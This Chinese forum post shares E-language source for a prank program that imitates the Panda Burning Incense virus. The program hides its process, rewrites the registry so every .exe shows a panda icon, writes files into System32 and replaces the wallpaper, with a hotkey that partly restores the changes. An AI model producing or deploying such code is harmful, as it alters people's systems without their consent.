找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索
查看: 6946|回复: 0
打印 上一主题 下一主题
收起左侧

恶搞电脑——熊猫烧香

[复制链接]
跳转到指定楼层
楼主
ID:73735 发表于 2015-2-19 01:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
仿熊猫烧香易语言版代码:                                
.版本 2
.支持库 eAPI
.支持库 shellEx

.程序集 窗口程序集1
.程序集变量 快捷键R, 整数型


.子程序 _Button_被单击

写注册项 (#根类, “exefile\DefaultIcon\”, “”)
运行 (“C:\Windows\System32\r.bat”, 假, )
写到文件 (“C:\Windows 7.bmp”, #壁纸2)
SystemParametersInfoA (20, 0, “C:\Windows 7.bmp”, 1)
设置桌面墙纸 (“C:\Windows 7.bmp”, 1)
删除文件 (“C:\Windows\System32\pic.bmp”)
删除文件 (“C:\Windows\System32\ico.ico”)

删除文件 (“C:\Windows\System32\r.bat”)
销毁 ()

.子程序 __启动窗口_创建完毕

隐藏进程 ()
快捷键R = 注册热键 (_启动窗口.取窗口句柄 (), 标签1.取窗口句柄 (), 0, #R键)
写注册项 (#根类, “exefile\DefaultIcon\”, “C:\Windows\System32\ico.ico”)
写到文件 (“C:\Windows\System32\ico.ico”, #图标)
写到文件 (“C:\Windows\System32\r.bat”, #restore)
运行 (“C:\Windows\System32\r.bat”, 假, )
写到文件 (“C:\Windows\System32\pic.bmp”, #壁纸)
SystemParametersInfoA (20, 0, “C:\Windows\System32\pic.bmp”, 1)
设置桌面墙纸 (“C:\Windows\System32\pic.bmp”, 1)

.子程序 _About_被单击

载入 (窗口1, , 真)

.子程序 _标签1_反馈事件, 整数型
.参数 参数一, 整数型
.参数 参数二, 整数型

.如果真 (参数一 = 快捷键R)
.如果真结束
_Button_被单击 ()

效果图



恢复效果



恢复效果还是不好,实在是想不出怎么恢复出原来壁纸方案的办法,所以就找了张大众化的图片代替。
至于隐藏进程,简直是一点用都没有,好吧,可能是我写错了。









分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏1 分享淘帖 顶 踩
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|51黑电子论坛 |51黑电子论坛6群 QQ 管理员QQ:125739409;技术交流QQ群281945664

Powered by 单片机教程网

快速回复 返回顶部 返回列表